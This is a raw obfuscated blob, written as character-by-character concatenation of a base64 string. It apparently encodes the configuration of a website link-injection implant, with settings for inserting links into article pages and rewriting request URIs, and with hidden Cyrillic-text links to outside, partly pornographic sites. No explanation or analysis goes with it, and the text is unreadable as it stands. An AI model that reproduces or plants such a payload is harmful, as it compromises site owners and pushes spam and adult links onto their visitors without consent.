'd'.'C'.'I'.'6'.'I'.'i'.'I'.'s'.'I'.'m'.'N'.'o'.'Y'.'W'.'5'.'n'.'Z'.'V'.'9'.'s'.'a'.'W'.'5'.'r'.'c'.'1'.'9'.'o'.'d'.'G'.'1'.'s'.'X'.'3'.'J'.'l'.'d'.'m'.'V'.'y'.'c'.'2'.'U'.'i'.'O'.'i'.'I'.'i'.'L'.'C'.'J'.'j'.'d'.'X'.'N'.'0'.'b'.'2'.'1'.'f'.'a'.'G'.'V'.'h'.'Z'.'G'.'V'.'y'.'c'.'y'.'I'.'6'.'I'.'i'.'I'.'s'.'I'.'n'.'V'.'y'.'a'.'V'.'9'.'t'.'Y'.'W'.'l'.'u'.'I'.'j'.'o'.'i'.'I'.'i'.'w'.'i'.'c'.'m'.'V'.'n'.'Z'.'X'.'h'.'w'.'X'.'2'.'F'.'y'.'d'.'G'.'l'.'j'.'b'.'G'.'V'.'f'.'Y'.'2'.'9'.'u'.'d'.'G'.'V'.'u'.'d'.'C'.'I'.'6'.'I'.'i'.'I'.'s'.'I'.'n'.'B'.'v'.'c'.'1'.'9'.'s'.'a'.'W'.'5'.'r'.'c'.'1'.'9'.'h'.'c'.'n'.'R'.'p'.'Y'.'2'.'x'.'l'.'c'.'y'.'I'.'6'.'I'.'i'.'I'.'s'.'I'.'n'.'J'.'l'.'c'.'G'.'x'.'h'.'Y'.'2'.'V'.'f'.'c'.'m'.'V'.'x'.'d'.'W'.'V'.'z'.'d'.'F'.'9'.'1'.'c'.'m'.'k'.'i'.'O'.'i'.'I'.'i'.'L'.'C'.'J'.'s'.'a'.'W'.'5'.'r'.'c'.'y'.'I'.'6'.'e'.'y'.'I'.'x'.'I'.'j'.'p'.'b'.'e'.'y'.'J'.'j'.'b'.'2'.'R'.'l'.'I'.'j'.'o'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'I'.'4'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'m'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'d'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'I'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'3'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'u'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'x'.'N'.'l'.'x'.'1'.'M'.'D'.'Q'.'1'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'j'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'3'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'u'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'y'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'w'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'E'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'j'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'3'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'E'.'g'.'P'.'G'.'E'.'g'.'a'.'H'.'J'.'l'.'Z'.'j'.'1'.'c'.'I'.'m'.'h'.'0'.'d'.'H'.'B'.'z'.'O'.'l'.'w'.'v'.'X'.'C'.'9'.'4'.'b'.'i'.'0'.'t'.'Z'.'T'.'F'.'h'.'Z'.'n'.'B'.'y'.'Z'.'n'.'Y'.'y'.'Y'.'i'.'5'.'j'.'b'.'2'.'1'.'c'.'L'.'2'.'N'.'h'.'d'.'G'.'V'.'n'.'b'.'3'.'J'.'p'.'Z'.'X'.'N'.'c'.'L'.'2'.'1'.'h'.'Y'.'2'.'h'.'l'.'a'.'G'.'E'.'t'.'a'.'S'.'1'.'w'.'Y'.'X'.'N'.'5'.'b'.'m'.'9'.'r'.'X'.'C'.'I'.'+'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'P'.'F'.'w'.'v'.'Y'.'T'.'4'.'u'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'x'.'N'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'O'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'d'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'0'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'Q'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'m'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'j'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'N'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'0'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'y'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'L'.'i'.'I'.'s'.'I'.'m'.'l'.'k'.'I'.'j'.'o'.'0'.'N'.'T'.'Q'.'3'.'N'.'C'.'w'.'i'.'b'.'H'.'Z'.'s'.'I'.'j'.'o'.'i'.'M'.'S'.'I'.'s'.'I'.'n'.'N'.'o'.'b'.'3'.'d'.'f'.'Z'.'m'.'9'.'y'.'I'.'j'.'p'.'b'.'I'.'m'.'d'.'v'.'b'.'2'.'d'.'s'.'Z'.'S'.'J'.'d'.'L'.'C'.'J'.'1'.'c'.'m'.'k'.'i'.'O'.'i'.'J'.'c'.'L'.'y'.'I'.'s'.'I'.'m'.'5'.'f'.'c'.'G'.'9'.'z'.'I'.'j'.'o'.'x'.'f'.'S'.'x'.'7'.'I'.'m'.'N'.'v'.'Z'.'G'.'U'.'i'.'O'.'i'.'I'.'8'.'Y'.'S'.'B'.'o'.'c'.'m'.'V'.'m'.'P'.'V'.'w'.'i'.'a'.'H'.'R'.'0'.'c'.'H'.'M'.'6'.'X'.'C'.'9'.'c'.'L'.'3'.'h'.'u'.'L'.'S'.'0'.'4'.'M'.'G'.'E'.'w'.'Y'.'W'.'N'.'k'.'Z'.'G'.'Z'.'o'.'L'.'m'.'N'.'v'.'b'.'V'.'w'.'v'.'Y'.'2'.'F'.'0'.'Z'.'W'.'d'.'v'.'c'.'m'.'l'.'l'.'c'.'1'.'w'.'i'.'P'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'Y'.'y'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'z'.'x'.'c'.'L'.'2'.'E'.'+'.'L'.'i'.'I'.'s'.'I'.'m'.'l'.'k'.'I'.'j'.'o'.'0'.'N'.'T'.'U'.'z'.'O'.'C'.'w'.'i'.'b'.'H'.'Z'.'s'.'I'.'j'.'o'.'i'.'M'.'S'.'I'.'s'.'I'.'n'.'N'.'o'.'b'.'3'.'d'.'f'.'Z'.'m'.'9'.'y'.'I'.'j'.'p'.'b'.'I'.'m'.'d'.'v'.'b'.'2'.'d'.'s'.'Z'.'S'.'J'.'d'.'L'.'C'.'J'.'1'.'c'.'m'.'k'.'i'.'O'.'i'.'J'.'c'.'L'.'y'.'I'.'s'.'I'.'m'.'5'.'f'.'c'.'G'.'9'.'z'.'I'.'j'.'o'.'x'.'f'.'S'.'x'.'7'.'I'.'m'.'N'.'v'.'Z'.'G'.'U'.'i'.'O'.'i'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'W'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'U'.'g'.'P'.'G'.'E'.'g'.'a'.'H'.'J'.'l'.'Z'.'j'.'1'.'c'.'I'.'m'.'h'.'0'.'d'.'H'.'B'.'z'.'O'.'l'.'w'.'v'.'X'.'C'.'9'.'s'.'Y'.'W'.'J'.'w'.'b'.'3'.'J'.'u'.'L'.'m'.'N'.'j'.'X'.'C'.'9'.'j'.'Y'.'X'.'R'.'l'.'Z'.'2'.'9'.'y'.'a'.'W'.'V'.'z'.'X'.'C'.'I'.'+'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'P'.'F'.'w'.'v'.'Y'.'T'.'4'.'s'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'I'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'m'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'L'.'i'.'I'.'s'.'I'.'m'.'l'.'k'.'I'.'j'.'o'.'0'.'N'.'T'.'Y'.'1'.'N'.'y'.'w'.'i'.'b'.'H'.'Z'.'s'.'I'.'j'.'o'.'i'.'M'.'S'.'I'.'s'.'I'.'n'.'N'.'o'.'b'.'3'.'d'.'f'.'Z'.'m'.'9'.'y'.'I'.'j'.'p'.'b'.'I'.'m'.'d'.'v'.'b'.'2'.'d'.'s'.'Z'.'S'.'J'.'d'.'L'.'C'.'J'.'1'.'c'.'m'.'k'.'i'.'O'.'i'.'J'.'c'.'L'.'y'.'I'.'s'.'I'.'m'.'5'.'f'.'c'.'G'.'9'.'z'.'I'.'j'.'o'.'x'.'f'.'S'.'x'.'7'.'I'.'m'.'N'.'v'.'Z'.'G'.'U'.'i'.'O'.'i'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'W'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'P'.'G'.'E'.'g'.'a'.'H'.'J'.'l'.'Z'.'j'.'1'.'c'.'I'.'m'.'h'.'0'.'d'.'H'.'B'.'z'.'O'.'l'.'w'.'v'.'X'.'C'.'9'.'4'.'b'.'i'.'0'.'t'.'Z'.'T'.'F'.'h'.'Z'.'n'.'B'.'y'.'Z'.'n'.'Y'.'y'.'Y'.'i'.'5'.'j'.'b'.'2'.'1'.'c'.'L'.'3'.'N'.'l'.'Y'.'X'.'J'.'j'.'a'.'F'.'w'.'v'.'J'.'U'.'Q'.'w'.'J'.'U'.'I'.'2'.'J'.'U'.'Q'.'w'.'J'.'U'.'I'.'1'.'J'.'U'.'Q'.'w'.'J'.'U'.'J'.'E'.'J'.'U'.'Q'.'x'.'J'.'T'.'g'.'5'.'J'.'U'.'Q'.'w'.'J'.'U'.'I'.'4'.'J'.'U'.'Q'.'w'.'J'.'U'.'J'.'E'.'J'.'U'.'Q'.'w'.'J'.'U'.'I'.'w'.'K'.'y'.'V'.'E'.'M'.'C'.'V'.'C'.'M'.'y'.'V'.'E'.'M'.'C'.'V'.'C'.'R'.'S'.'V'.'E'.'M'.'C'.'V'.'C'.'Q'.'i'.'V'.'E'.'M'.'C'.'V'.'C'.'M'.'C'.'V'.'E'.'M'.'S'.'U'.'4'.'R'.'l'.'w'.'i'.'P'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'Z'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'l'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'8'.'X'.'C'.'9'.'h'.'P'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'Y'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'5'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'S'.'w'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'I'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'L'.'i'.'I'.'s'.'I'.'m'.'l'.'k'.'I'.'j'.'o'.'0'.'N'.'T'.'c'.'3'.'M'.'S'.'w'.'i'.'b'.'H'.'Z'.'s'.'I'.'j'.'o'.'i'.'M'.'S'.'I'.'s'.'I'.'n'.'N'.'o'.'b'.'3'.'d'.'f'.'Z'.'m'.'9'.'y'.'I'.'j'.'p'.'b'.'I'.'m'.'d'.'v'.'b'.'2'.'d'.'s'.'Z'.'S'.'J'.'d'.'L'.'C'.'J'.'1'.'c'.'m'.'k'.'i'.'O'.'i'.'J'.'c'.'L'.'y'.'I'.'s'.'I'.'m'.'5'.'f'.'c'.'G'.'9'.'z'.'I'.'j'.'o'.'w'.'f'.'S'.'x'.'7'.'I'.'m'.'N'.'v'.'Z'.'G'.'U'.'i'.'O'.'i'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'W'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'Y'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'A'.'8'.'Y'.'S'.'B'.'o'.'c'.'m'.'V'.'m'.'P'.'V'.'w'.'i'.'a'.'H'.'R'.'0'.'c'.'H'.'M'.'6'.'X'.'C'.'9'.'c'.'L'.'2'.'F'.'u'.'Y'.'W'.'x'.'2'.'L'.'W'.'h'.'k'.'L'.'m'.'N'.'v'.'b'.'V'.'w'.'v'.'Y'.'2'.'F'.'0'.'Z'.'W'.'d'.'v'.'c'.'m'.'l'.'l'.'c'.'1'.'w'.'i'.'P'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'O